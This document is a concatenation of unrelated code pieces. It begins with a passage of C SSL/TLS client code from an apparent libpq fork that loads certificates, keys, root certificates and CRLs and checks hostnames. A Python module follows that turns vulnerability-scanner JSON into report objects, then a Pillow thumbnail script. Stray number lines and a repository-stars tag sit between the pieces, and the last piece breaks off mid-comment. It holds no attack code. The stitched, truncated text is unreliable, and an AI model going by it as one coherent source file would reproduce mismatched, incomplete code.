hostname. */ if (!((conn->pghost != NULL) && conn->pghost[0] != '\0')) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("host name must be specified for a verified SSL connection\n")); result = false; } else { if (pg_strcasecmp(peer_cn, conn->pghost) == 0) /* Exact name match */ result = true; else if (wildcard_certificate_match(peer_cn, conn->pghost)) /* Matched wildcard certificate */ result = true; else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("server common name \"%s\" does not match host name \"%s\"\n"), peer_cn, conn->pghost); result = false; } } libpq_free(peer_cn); return result; } #ifdef ENABLE_THREAD_SAFETY /* * Callback functions for OpenSSL internal locking */ static GS_UINT32 pq_threadidcallback(void) { /* * This is not standards-compliant. pthread_self() returns pthread_t, and * shouldn't be cast to unsigned long, but CRYPTO_set_id_callback requires * it, so we have to do it. */ return (GS_UINT32)pthread_self(); } #endif /* ENABLE_THREAD_SAFETY */ /* * This function is needed because if the libpq library is unloaded * from the application, the callback functions will no longer exist when * libcrypto is used by other parts of the system. For this reason, * we unregister the callback functions when the last libpq * connection is closed. (The same would apply for OpenSSL callbacks * if we had any.) * * Callbacks are only set when we're compiled in threadsafe mode, so * we only need to remove them in this case. */ static void destroy_ssl_system(PGconn* conn) { bool is_gc_fdw_client = false; if ((conn->fbappname != NULL) && strcmp(conn->fbappname, "gc_fdw") == 0) { is_gc_fdw_client = true; } #ifdef ENABLE_THREAD_SAFETY /* Mutex is created in initialize_ssl_system() */ if (pthread_mutex_lock(&ssl_config_mutex)) return; if (pq_init_crypto_lib && ssl_open_connections > 0) --ssl_open_connections; if (pq_init_crypto_lib && ssl_open_connections == 0 && !is_gc_fdw_client) { /* No connections left, unregister libcrypto callbacks */ CRYPTO_set_id_callback(NULL); /* * We don't free the lock array or the SSL_context. If we get another connection in this * process, we will just re-use them with the existing mutexes. * * This means we leak a little memory on repeated load/unload of the * library. */ } pthread_mutex_unlock(&ssl_config_mutex); #endif /* Free SSL context */ if (SSL_context != NULL) { SSL_CTX_free(SSL_context); SSL_context = NULL; } } /* * Brief : static int init_ssl_system(PGconn *conn) * Description : Initialize SSL system, in particular creating the SSL_context object that will be shared by all SSL-using connections in this process */ static int init_ssl_system(PGconn* conn) { bool is_gc_fdw_client = false; if ((conn->fbappname != NULL) && strcmp(conn->fbappname, "gc_fdw") == 0) { is_gc_fdw_client = true; } #ifdef ENABLE_THREAD_SAFETY int rc = 0; #ifdef WIN32 /* Also see similar code in fe-connect.c, default_threadlock() */ if (ssl_config_mutex == NULL) { while (InterlockedExchange(&win32_ssl_create_mutex, 1) == 1) /* loop, another thread own the lock */; if (ssl_config_mutex == NULL) { if (pthread_mutex_init(&ssl_config_mutex, NULL)) return -1; } InterlockedExchange(&win32_ssl_create_mutex, 0); } #endif if ((rc = pthread_mutex_lock(&ssl_config_mutex))) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not acquire mutex: %s\n"), strerror(rc)); return -1; } if (pq_init_crypto_lib) { #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wunused-value" if (ssl_open_connections++ == 0 && !is_gc_fdw_client) { /* These are only required for threaded libcrypto applications */ CRYPTO_THREADID_set_callback(pq_threadidcallback); } #pragma GCC diagnostic pop } #endif /* ENABLE_THREAD_SAFETY */ if (SSL_context == NULL) { if (pq_init_ssl_lib) { if (OPENSSL_init_ssl(0, NULL) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("Failed to initialize ssl library:%s\n"), err); SSLerrfree(err); #ifdef ENABLE_THREAD_SAFETY pthread_mutex_unlock(&ssl_config_mutex); #endif return -1; } SSL_load_error_strings(); } #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wdeprecated-declarations" SSL_context = SSL_CTX_new(TLSv1_2_method()); if (SSL_context == NULL) { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not create SSL context: %s, remote datanode %s, errno: %s\n"), err, conn->remote_nodename, strerror(errno)); SSLerrfree(err); #pragma GCC diagnostic pop #ifdef ENABLE_THREAD_SAFETY pthread_mutex_unlock(&ssl_config_mutex); #endif return -1; } /* * Disable moving-write-buffer sanity check, because it * causes unnecessary failures in nonblocking send cases. */ SSL_CTX_set_mode(SSL_context, SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER); } #ifdef ENABLE_THREAD_SAFETY pthread_mutex_unlock(&ssl_config_mutex); #endif return 0; } /* * @Brief : static bool set_client_ssl_ciphers() * @Description : set client security cipherslist. * @return : return true if success to set SSL security cipherslist , otherwise return false. */ #ifndef ENABLE_UT static #endif // ENABLE_UT bool set_client_ssl_ciphers() { int default_ciphers_count = 0; for (int i = 0; ssl_ciphers_map[i] != NULL; i++) { default_ciphers_count++; } /* Set up the client security cipher list. */ if (SSL_CTX_set_cipher_list_ex(SSL_context, ssl_ciphers_map, default_ciphers_count) != 1) { return false; } return true; } /* * Brief : static int initialize_SSL(PGconn *conn) * Description : Initialize (potentially) per-connection SSL data, namely the client certificate, private key, and * trusted CA certs. Notes : use internal ssl objects */ #ifdef ENABLE_UT #ifdef stat #undef stat #endif // stat #define stat(path, buf) ((buf)->st_mode = (S_IRWXG | S_IRWXO), 0) #else static #endif /* Read the client certificate file */ int LoadSslCertFile(PGconn* conn, bool have_homedir, const PathData *homedir, bool *have_cert) { struct stat buf; char fnbuf[MAXPGPATH] = {0}; char sebuf[256]; errno_t rc = 0; int nRet = 0; if ((conn->sslcert != NULL) && strlen(conn->sslcert) > 0) { rc = strncpy_s(fnbuf, MAXPGPATH, conn->sslcert, strlen(conn->sslcert)); securec_check_c(rc, "\0", "\0"); fnbuf[MAXPGPATH - 1] = '\0'; } else if (have_homedir) { nRet = snprintf_s(fnbuf, MAXPGPATH, MAXPGPATH - 1, "%s/%s", homedir->data, USER_CERT_FILE); securec_check_ss_c(nRet, "\0", "\0"); } else fnbuf[0] = '\0'; if (fnbuf[0] == '\0') { /* no home directory, proceed without a client cert */ *have_cert = false; } else if (stat(fnbuf, &buf) != 0) { /* * If file is not present, just go on without a client cert; server * might or might not accept the connection. Any other error, * however, is grounds for complaint. */ if (errno != ENOENT && errno != ENOTDIR) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not open certificate file \"%s\": %s\n"), fnbuf, pqStrerror(errno, sebuf, sizeof(sebuf))); return -1; } *have_cert = false; } else { /* * Cert file exists, so load it. Since the ssl lib doesn't provide the * equivalent of "SSL_use_certificate_chain_file", we actually have to * load the file twice. The first call loads any extra certs after * the first one into chain-cert storage associated with the * SSL_context. The second call loads the first cert (only) into the * SSL object, where it will be correctly paired with the private key * we load below. We do it this way so that each connection * understands which subject cert to present, in case different * sslcert settings are used for different connections in the same * process. * * NOTE: This function may also modify our SSL_context and therefore * we have to lock around this call and any places where we use the * SSL_context struct. */ #ifdef ENABLE_THREAD_SAFETY int rc = 0; if ((rc = pthread_mutex_lock(&ssl_config_mutex))) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not acquire mutex: %s\n"), strerror(rc)); return -1; } #endif /* set the default password for certificate/private key loading */ if (init_client_ssl_passwd(conn->ssl, fnbuf, conn->pguser, conn) != 0) { #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif return -1; } /* check certificate file permission */ #ifndef WIN32 if (!S_ISREG(buf.st_mode) || (buf.st_mode & (S_IRWXG | S_IRWXO)) || ((buf.st_mode & S_IRWXU) == S_IRWXU)) { #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif printfPQExpBuffer( &conn->errorMessage, libpq_gettext("The file \"%s\" permission should be u=rw(600) or less.\n"), fnbuf); return -1; } #endif if (SSL_CTX_use_certificate_chain_file(SSL_context, fnbuf) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not read certificate file \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif return -1; } if (SSL_use_certificate_file(conn->ssl, fnbuf, SSL_FILETYPE_PEM) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not read certificate file \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif return -1; } /* need to load the associated private key, too */ *have_cert = true; #ifdef ENABLE_THREAD_SAFETY (void)pthread_mutex_unlock(&ssl_config_mutex); #endif } return 0; } int LoadSslKeyFile(PGconn* conn, bool have_homedir, const PathData *homedir, bool have_cert) { struct stat buf; char fnbuf[MAXPGPATH] = {0}; errno_t rc = 0; int nRet = 0; /* * Read the SSL key. If a key is specified, treat it as an engine:key * combination if there is colon present - we don't support files with * colon in the name. The exception is if the second character is a colon, * in which case it can be a Windows filename with drive specification. */ if (have_cert && (conn->sslkey != NULL) && strlen(conn->sslkey) > 0) { rc = strncpy_s(fnbuf, MAXPGPATH, conn->sslkey, strlen(conn->sslkey)); securec_check_c(rc, "\0", "\0"); fnbuf[MAXPGPATH - 1] = '\0'; } else if (have_homedir) { /* No PGSSLKEY specified, load default file */ nRet = snprintf_s(fnbuf, MAXPGPATH, MAXPGPATH - 1, "%s/%s", homedir->data, USER_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); } else fnbuf[0] = '\0'; if (have_cert && fnbuf[0] != '\0') { /* read the client key from file */ if (stat(fnbuf, &buf) != 0) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("certificate present, but not private key file \"%s\"\n"), fnbuf); return -1; } /* check key file permission */ #ifndef WIN32 if (!S_ISREG(buf.st_mode) || (buf.st_mode & (S_IRWXG | S_IRWXO)) || ((buf.st_mode & S_IRWXU) == S_IRWXU)) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("The file \"%s\" permission should be u=rw(600) or less.\n"), fnbuf); return -1; } #endif if (SSL_use_PrivateKey_file(conn->ssl, fnbuf, SSL_FILETYPE_PEM) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not load private key file \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); return -1; } } /* verify that the cert and key go together */ if (have_cert && SSL_check_private_key(conn->ssl) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer( &conn->errorMessage, libpq_gettext("certificate does not match private key file \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); return -1; } /* set up the allowed cipher list */ if (!set_client_ssl_ciphers()) { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL_ctxSetCipherList \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); return -1; } return 0; } #define MAX_CERTIFICATE_DEPTH_SUPPORTED 20 /* The max certificate depth supported. */ int LoadRootCertFile(PGconn* conn, bool have_homedir, const PathData *homedir) { struct stat buf; char fnbuf[MAXPGPATH] = {0}; errno_t rc = 0; int nRet = 0; /* * If the root cert file exists, load it so we can perform certificate * verification. If sslmode is "verify-full" we will also do further * verification after the connection has been completed. */ if ((conn->sslrootcert != NULL) && strlen(conn->sslrootcert) > 0) { rc = strncpy_s(fnbuf, MAXPGPATH, conn->sslrootcert, strlen(conn->sslrootcert)); securec_check_c(rc, "\0", "\0"); fnbuf[MAXPGPATH - 1] = '\0'; } else if (have_homedir) { nRet = snprintf_s(fnbuf, MAXPGPATH, MAXPGPATH - 1, "%s/%s", homedir->data, ROOT_CERT_FILE); securec_check_ss_c(nRet, "\0", "\0"); } else fnbuf[0] = '\0'; if (fnbuf[0] != '\0' && stat(fnbuf, &buf) == 0) { if (SSL_CTX_load_verify_locations(SSL_context, fnbuf, NULL) != 1) { char* err = SSLerrmessage(); printfPQExpBuffer( &conn->errorMessage, libpq_gettext("could not read root certificate file \"%s\": %s\n"), fnbuf, err); SSLerrfree(err); return -1; } /* check root cert file permission */ #ifndef WIN32 if (!S_ISREG(buf.st_mode) || (buf.st_mode & (S_IRWXG | S_IRWXO)) || ((buf.st_mode & S_IRWXU) == S_IRWXU)) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("The ca file \"%s\" permission should be u=rw(600) or less.\n"), fnbuf); return -1; } #endif if (SSL_CTX_get_cert_store(SSL_context) != NULL) { if ((conn->sslcrl != NULL) && strlen(conn->sslcrl) > 0) { rc = strncpy_s(fnbuf, MAXPGPATH, conn->sslcrl, strlen(conn->sslcrl)); securec_check_c(rc, "\0", "\0"); fnbuf[MAXPGPATH - 1] = '\0'; } else if (have_homedir) { nRet = snprintf_s(fnbuf, MAXPGPATH, MAXPGPATH - 1, "%s/%s", homedir->data, ROOT_CRL_FILE); securec_check_ss_c(nRet, "\0", "\0"); } else fnbuf[0] = '\0'; /* Set the flags to check against the complete CRL chain */ if (fnbuf[0] != '\0' && stat(fnbuf, &buf) == 0) { if (X509_STORE_load_locations(SSL_CTX_get_cert_store(SSL_context), fnbuf, NULL) == 1) { (void)X509_STORE_set_flags( SSL_CTX_get_cert_store(SSL_context), X509_V_FLAG_CRL_CHECK); } else { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("could not load SSL certificate revocation list (file \"%s\")\n"), fnbuf); return -1; } } } /* Check the DH length to make sure it's at least 2048. */ SSL_set_security_callback(conn->ssl, ssl_security_DH_ECDH_cb); /* set the SSL verify method */ SSL_set_verify(conn->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, verify_cb); /* set the SSL verify depth */ SSL_set_verify_depth(conn->ssl, (MAX_CERTIFICATE_DEPTH_SUPPORTED - 2)); } else { /* * stat() failed; assume root file doesn't exist. If sslmode is * verify-ca or verify-full, this is an error. Otherwise, continue * without performing any server cert verification. */ if (conn->sslmode[0] == 'v') /* "verify-ca" or "verify-full" */ { /* * The only way to reach here with an empty filename is if * pqGetHomeDirectory failed. That's a sufficiently unusual case * that it seems worth having a specialized error message for it. */ if (fnbuf[0] == '\0') printfPQExpBuffer(&conn->errorMessage, libpq_gettext( "could not get home directory to locate root certificate file\n" "Either provide the file or change sslmode to disable server certificate verification.\n")); else printfPQExpBuffer(&conn->errorMessage, libpq_gettext( "root certificate file \"%s\" does not exist\n" "Either provide the file or change sslmode to disable server certificate verification.\n"), fnbuf); return -1; } } return 0; } int initialize_SSL(PGconn* conn) { PathData homedir = {{0}}; bool have_homedir = false; bool have_cert = false; errno_t rc = 0; int retval = 0; /* * We'll need the home directory if any of the relevant parameters are * defaulted. If pqGetHomeDirectory fails, act as though none of the * files could be found. */ if (!((conn->sslcert != NULL) && strlen(conn->sslcert) > 0) || !((conn->sslkey != NULL) && strlen(conn->sslkey) > 0) || !((conn->sslrootcert != NULL) && strlen(conn->sslrootcert) > 0) || !((conn->sslcrl != NULL) && strlen(conn->sslcrl) > 0)) have_homedir = pqGetHomeDirectory(homedir.data, MAXPGPATH); else /* won't need it */ have_homedir = false; retval = LoadSslCertFile(conn, have_homedir, &homedir, &have_cert); if (retval == -1) { return retval; } retval = LoadSslKeyFile(conn, have_homedir, &homedir, have_cert); if (retval == -1) { return retval; } retval = LoadRootCertFile(conn, have_homedir, &homedir); if (retval == -1) { return retval; } /* * Check the signature algorithm. * NOTICE : Since the client errorMessage is only output in the error exit scene, the function fprintf is used here. * Use the parameter stdout to output an alarm to the log or screen. */ if (check_certificate_signature_algrithm(SSL_context)) { fprintf(stdout, "Warning: The client certificate contain a Low-intensity signature algorithm.\n"); } /* Check the certificate expires time, default alarm_days = 90d. */ const int alarm_days = 90; long leftspan = check_certificate_time(SSL_context, alarm_days); if (leftspan > 0) { int leftdays = leftspan / 86400 > 0 ? leftspan / 86400 : 1; if (leftdays > 1) { fprintf(stdout, "Warning: The client certificate will expire in %d days.\n", leftdays); } else { fprintf(stdout, "Warning: The client certificate will expire in %d day.\n", leftdays); } } /*clear the sensitive info in server_key*/ rc = memset_s(conn->cipher_passwd, CIPHER_LEN, 0, CIPHER_LEN); securec_check_c(rc, "\0", "\0"); return 0; } #ifdef ENABLE_UT #ifdef stat #undef stat #endif // stat #endif static void destroySSL(PGconn* conn) { destroy_ssl_system(conn); } /* * Attempt to negotiate SSL connection. */ #ifndef ENABLE_UT static #endif PostgresPollingStatusType open_client_SSL(PGconn* conn) { int r; ERR_clear_error(); r = SSL_connect(conn->ssl); if (r <= 0) { int err = SSL_get_error(conn->ssl, r); switch (err) { case SSL_ERROR_WANT_READ: return PGRES_POLLING_READING; case SSL_ERROR_WANT_WRITE: return PGRES_POLLING_WRITING; case SSL_ERROR_SYSCALL: { char sebuf[256]; if (r == -1) printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: %s\n"), SOCK_STRERROR(SOCK_ERRNO, sebuf, sizeof(sebuf))); else printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL SYSCALL error: EOF detected\n")); close_SSL(conn); return PGRES_POLLING_FAILED; } case SSL_ERROR_SSL: { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("SSL error: %s\n"), err); SSLerrfree(err); close_SSL(conn); return PGRES_POLLING_FAILED; } default: printfPQExpBuffer(&conn->errorMessage, libpq_gettext("unrecognized SSL error code: %d\n"), err); close_SSL(conn); return PGRES_POLLING_FAILED; } } /* * We already checked the server certificate in initialize_SSL() using * SSL_CTX_set_verify(), if root.crt exists. */ /* get server certificate */ conn->peer = SSL_get_peer_certificate(conn->ssl); if (conn->peer == NULL) { char* err = SSLerrmessage(); printfPQExpBuffer(&conn->errorMessage, libpq_gettext("certificate could not be obtained: %s\n"), err); SSLerrfree(err); close_SSL(conn); return PGRES_POLLING_FAILED; } if (!verify_peer_name_matches_certificate(conn)) { close_SSL(conn); return PGRES_POLLING_FAILED; } /* SSL handshake is complete */ return PGRES_POLLING_OK; } /* * Close SSL connection. */ static void close_SSL(PGconn* conn) { bool destroy_needed = false; if (conn->ssl != NULL) { DECLARE_SIGPIPE_INFO(spinfo); /* * We can't destroy everything SSL-related here due to the possible * later calls to OpenSSL routines which may need our thread * callbacks, so set a flag here and check at the end. */ destroy_needed = true; DISABLE_SIGPIPE(conn, spinfo, (void)0); SSL_shutdown(conn->ssl); SSL_free(conn->ssl); conn->ssl = NULL; /* We have to assume we got EPIPE */ REMEMBER_EPIPE(spinfo, true); RESTORE_SIGPIPE(conn, spinfo); } if (conn->peer != NULL) { X509_free(conn->peer); conn->peer = NULL; } /* * This will remove our SSL locking hooks, if this is the last SSL * connection, which means we must wait to call it until after all * SSL calls have been made, otherwise we can end up with a race * condition and possible deadlocks. * * See comments above destroy_ssl_system(). */ if (destroy_needed) pqsecure_destroy(conn); } /* * Obtain reason string for last SSL error * * Some caution is needed here since ERR_reason_error_string will * return NULL if it doesn't recognize the error code. We don't * want to return NULL ever. */ static char ssl_nomem[] = "out of memory allocating error description"; #define SSL_ERR_LEN 128 #ifndef ENABLE_UT static #endif char* SSLerrmessage(void) { unsigned long errcode; const char* errreason = NULL; char* errbuf = NULL; errbuf = (char*)malloc(SSL_ERR_LEN); if (errbuf == NULL) return ssl_nomem; errcode = ERR_get_error(); if (errcode == 0) { check_sprintf_s(sprintf_s(errbuf, SSL_ERR_LEN, libpq_gettext("no SSL error reported"))); return errbuf; } errreason = ERR_reason_error_string(errcode); if (errreason != NULL) { check_strncpy_s(strncpy_s(errbuf, SSL_ERR_LEN, errreason, strlen(errreason))); return errbuf; } check_sprintf_s(sprintf_s(errbuf, SSL_ERR_LEN, libpq_gettext("SSL error code %lu"), errcode)); return errbuf; } static void SSLerrfree(char* buf) { if (buf != ssl_nomem) { libpq_free(buf); } } /* * Return pointer to OpenSSL object. */ void* PQgetssl(PGconn* conn) { if (conn == NULL) return NULL; return conn->ssl; } #else /* !USE_SSL */ void* PQgetssl(PGconn* conn) { return NULL; } #endif /* USE_SSL */ #if defined(ENABLE_THREAD_SAFETY) && !defined(WIN32) /* * Block SIGPIPE for this thread. This prevents send()/write() from exiting * the application. */ int pq_block_sigpipe(sigset_t* osigset, bool* sigpipe_pending) { sigset_t sigpipe_sigset; sigset_t sigset; sigemptyset(&sigpipe_sigset); sigaddset(&sigpipe_sigset, SIGPIPE); /* Block SIGPIPE and save previous mask for later reset */ SOCK_ERRNO_SET(pthread_sigmask(SIG_BLOCK, &sigpipe_sigset, osigset)); if (SOCK_ERRNO) return -1; /* We can have a pending SIGPIPE only if it was blocked before */ if (sigismember(osigset, SIGPIPE)) { /* Is there a pending SIGPIPE? */ if (sigpending(&sigset) != 0) return -1; if (sigismember(&sigset, SIGPIPE)) *sigpipe_pending = true; else *sigpipe_pending = false; } else *sigpipe_pending = false; return 0; } /* * Discard any pending SIGPIPE and reset the signal mask. * * Note: we are effectively assuming here that the C library doesn't queue * up multiple SIGPIPE events. If it did, then we'd accidentally leave * ours in the queue when an event was already pending and we got another. * As long as it doesn't queue multiple events, we're OK because the caller * can't tell the difference. * * The caller should say got_epipe = FALSE if it is certain that it * didn't get an EPIPE error; in that case we'll skip the clear operation * and things are definitely OK, queuing or no. If it got one or might have * gotten one, pass got_epipe = TRUE. * * We do not want this to change errno, since if it did that could lose * the error code from a preceding send(). We essentially assume that if * we were able to do pq_block_sigpipe(), this can't fail. */ void pq_reset_sigpipe(sigset_t* osigset, bool sigpipe_pending, bool got_epipe) { int save_errno = SOCK_ERRNO; int signo; sigset_t sigset; /* Clear SIGPIPE only if none was pending */ if (got_epipe && !sigpipe_pending) { if (sigpending(&sigset) == 0 && sigismember(&sigset, SIGPIPE)) { sigset_t sigpipe_sigset; sigemptyset(&sigpipe_sigset); sigaddset(&sigpipe_sigset, SIGPIPE); sigwait(&sigpipe_sigset, &signo); } } /* Restore saved block mask */ pthread_sigmask(SIG_SETMASK, osigset, NULL); SOCK_ERRNO_SET(save_errno); } #endif /* ENABLE_THREAD_SAFETY && !WIN32 */ /* set the default password for certificate/private key loading */ #ifndef ENABLE_UT static #endif int init_client_ssl_passwd(SSL* pstContext, const char* path, const char* username, PGconn* conn) { char* CertFilesDir = NULL; char CertFilesPath[MAXPGPATH] = {0}; char CipherFileName[MAXPGPATH] = {0}; struct stat st; int retval = 0; KeyMode mode = CLIENT_MODE; int nRet = 0; if (NULL == path || '\0' == path[0]) { printfPQExpBuffer(&conn->errorMessage, libpq_gettext("invalid cert file path\n")); return -1; } nRet = strncpy_s(CertFilesPath, MAXPGPATH, path, MAXPGPATH - 1); securec_check_ss_c(nRet, "\0", "\0"); CertFilesDir = CertFilesPath; get_parent_directory(CertFilesDir); /*check whether the cipher and rand files begins with username exist. if exist, decrypt it. if not,decrypt the default cipher and rand files begins with client%. Because,for every client user mayown certification and private key*/ if (NULL == username) { retval = check_permission_cipher_file(CertFilesDir, conn, NULL); if (retval != 1) return retval; decode_cipher_files(mode, NULL, CertFilesDir, conn->cipher_passwd); } else { nRet = snprintf_s(CipherFileName, MAXPGPATH, MAXPGPATH - 1, "%s/%s%s", CertFilesDir, username, CIPHER_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); if (lstat(CipherFileName, &st) < 0) { retval = check_permission_cipher_file(CertFilesDir, conn, NULL); if (retval != 1) return retval; decode_cipher_files(mode, NULL, CertFilesDir, conn->cipher_passwd); } else { retval = check_permission_cipher_file(CertFilesDir, conn, username); if (retval != 1) return retval; decode_cipher_files(mode, username, CertFilesDir, conn->cipher_passwd); } } SSL_set_default_passwd_cb_userdata(pstContext, (char*)conn->cipher_passwd); return 0; } #ifdef ENABLE_UT #ifdef lstat #undef lstat #endif #define lstat(path, sb) 0 #ifdef S_ISREG #undef S_ISREG #endif #define S_ISREG(x) 0 #else static #endif // ENABLE_UT /* Check permissions of cipher file and rand file in client */ int check_permission_cipher_file(const char* parent_dir, PGconn* conn, const char* username) { char cipher_file[MAXPGPATH] = {0}; char rand_file[MAXPGPATH] = {0}; struct stat cipherbuf; struct stat randbuf; int nRet = 0; if (NULL == username) { nRet = snprintf_s(cipher_file, MAXPGPATH, MAXPGPATH - 1, "%s/client%s", parent_dir, CIPHER_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s(rand_file, MAXPGPATH, MAXPGPATH - 1, "%s/client%s", parent_dir, RAN_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); } else { nRet = snprintf_s(cipher_file, MAXPGPATH, MAXPGPATH - 1, "%s/%s%s", parent_dir, username, CIPHER_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); nRet = snprintf_s(rand_file, MAXPGPATH, MAXPGPATH - 1, "%s/%s%s", parent_dir, username, RAN_KEY_FILE); securec_check_ss_c(nRet, "\0", "\0"); } /*cipher file or rand file do not exist,skip check the permission. For key and certications without password,it is also ok*/ if (lstat(cipher_file, &cipherbuf) != 0 || lstat(rand_file, &randbuf) != 0) return 0; /*cipher file and rand file exist,so check whether permissions meets the requirements */ #ifndef WIN32 if (!S_ISREG(cipherbuf.st_mode) || (cipherbuf.st_mode & (S_IRWXG | S_IRWXO)) || ((cipherbuf.st_mode & S_IRWXU) == S_IRWXU)) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("The file \"%s\" permission should be u=rw(600) or less.\n"), cipher_file); return -1; } if (!S_ISREG(randbuf.st_mode) || (randbuf.st_mode & (S_IRWXG | S_IRWXO)) || ((randbuf.st_mode & S_IRWXU) == S_IRWXU)) { printfPQExpBuffer( &conn->errorMessage, libpq_gettext("The file \"%s\" permission should be u=rw(600) or less.\n"), rand_file); return -1; } #endif /*files exist,and permission is ok!*/ return 1; } int ssl_security_DH_ECDH_cb(const SSL* s, const SSL_CTX* ctx, int op, int bits, int nid, void* other, void* ex) { switch (op) { case SSL_SECOP_TMP_DH: if ((bits < 112) || (bits > 128)) { return 0; } default: return 1; } return 1; } #ifdef USE_SSL static char* ssl_cipher_list2string(const char* ciphers[], const int num) { int i; int catlen = 0; char* cipher_buf = NULL; errno_t errorno = 0; size_t CIPHER_BUF_SIZE = 0; for (i = 0; i < num; i++) { CIPHER_BUF_SIZE += (strlen(ciphers[i]) + 2); } cipher_buf = (char*)OPENSSL_zalloc(CIPHER_BUF_SIZE); if (cipher_buf == NULL) { return NULL; } for (i = 0; i < num; i++) { errorno = strncpy_s(cipher_buf + catlen, strlen(ciphers[i]) + 1, ciphers[i], strlen(ciphers[i])); securec_check_c(errorno, "\0", "\0"); catlen += strlen(ciphers[i]); if (i < num - 1) { errorno = strncpy_s(cipher_buf + catlen, 2, ":", 1); securec_check_c(errorno, "\0", "\0"); catlen += 1; } } cipher_buf[catlen] = 0; return cipher_buf; } /* * Brief : static int SSL_CTX_set_cipher_list_ex(SSL_CTX *ctx, const char* ciphers[], const int num) * Description : set ssl ciphers. */ static int SSL_CTX_set_cipher_list_ex(SSL_CTX* ctx, const char* ciphers[], const int num) { int ret = 0; char* cipher_buf = NULL; if (ctx == NULL) { return 0; } cipher_buf = ssl_cipher_list2string(ciphers, num); if (cipher_buf == NULL) { return 0; } ret = SSL_CTX_set_cipher_list(ctx, cipher_buf); OPENSSL_free(cipher_buf); return ret; } #endif
32,848
7,086
import datetime from datetime import datetime from executor.executor import dispatch_web_vuln, dispatch_service_vuln, dispatch_statistics from model.vuln import Statistics, WebVuln, WebParam, WebParamPosition, WebRequest, WebResponse, ServiceVuln def process_web_vuln(instance, data): """将 web 漏洞 json 转换为相关 model""" detail = data["detail"] p = detail["param"] if p: param = WebParam(key=p["key"], value=p["value"], position=WebParamPosition(p["position"])) else: param = None request = [] response = [] extra = {} for i in range(0, 10): req_key = f"request{i}" if i else "request" resp_key = f"response{i}" if i else "response" req = detail.get(req_key) resp = detail.get(resp_key) if req == "" or resp == "": continue if req is None or resp is None: break request.append(WebRequest(raw=req)) response.append(WebResponse(raw=resp)) # 其他的数据可能是自定义的,就单独拿出来 not_extra_key = ["request", "response", "param", "payload", "url"] for k, v in detail.items(): for item in not_extra_key: if item in k: break else: extra[k] = v vuln = WebVuln(create_time=datetime.fromtimestamp(data["create_time"] / 1000), plugin=data["plugin"], vuln_class=data["vuln_class"], url=data["target"]["url"], param=param, request=request, response=response, extra=extra, raw_json=data) dispatch_web_vuln(instance, vuln) def process_statistics(instance, data): """将统计数据 json 转换为相关 json""" s = Statistics(num_found_urls=data["num_found_urls"], num_scanned_urls=data["num_scanned_urls"], num_sent_http_requests=data["num_sent_http_requests"], average_response_time=data["average_response_time"], ratio_failed_http_requests=data["ratio_failed_http_requests"], ratio_progress=data["ratio_progress"], raw_json=data) dispatch_statistics(instance, s) def process_host_vuln(instance, data): """将服务漏洞 json 转换为相关 json""" detail = data["detail"] extra = {} not_extra_key = ["host", "port"] for k, v in detail.items(): for item in not_extra_key: if item in k: break else: extra[k] = v vuln = ServiceVuln(create_time=datetime.fromtimestamp(data["create_time"] / 1000), plugin=data["plugin"], vuln_class=data["vuln_class"], host=detail["host"], port=detail["port"], extra=extra, raw_json=data) dispatch_service_vuln(instance, vuln)
1,323
1,091
<gh_stars>1000+ import os from PIL import Image def create_thumbnail(infile: str, include_in_path: str = "thumbnail", size: tuple = (256, 256)): infile_name, infile_extension = os.path.splitext(infile) outfile = f"{infile_name}.{include_in_path}{infile_extension}" # .png, jpeg etc if infile.find(include_in_path) == -1: if infile != outfile: try: im = Image.open(infile) im.thumbnail(size) im.save(outfile, infile_extension.split(".")[1].upper()) # PNG, JPEG etc print(f"Pillow made the thumbnail of {infile}.") except IOError: print(f"cannot create thumbnail for {infile}") # How to use it in frontend # 1. When you use framework # const useThumbnail = (path = "") => { # widthForThumbnail = "use the width you think adequate for this" # if (window.innerWidth > widthForThumbnail) { # // cosnsole.log(path); # return path; # } else { # const [file, extension] = path.split('.'); # const includeInPath = "thumbnail"; # const pathWithThumbnail = [file, includeInPath, extension].join('.'); # // console.log(pathWithThumbnail); # 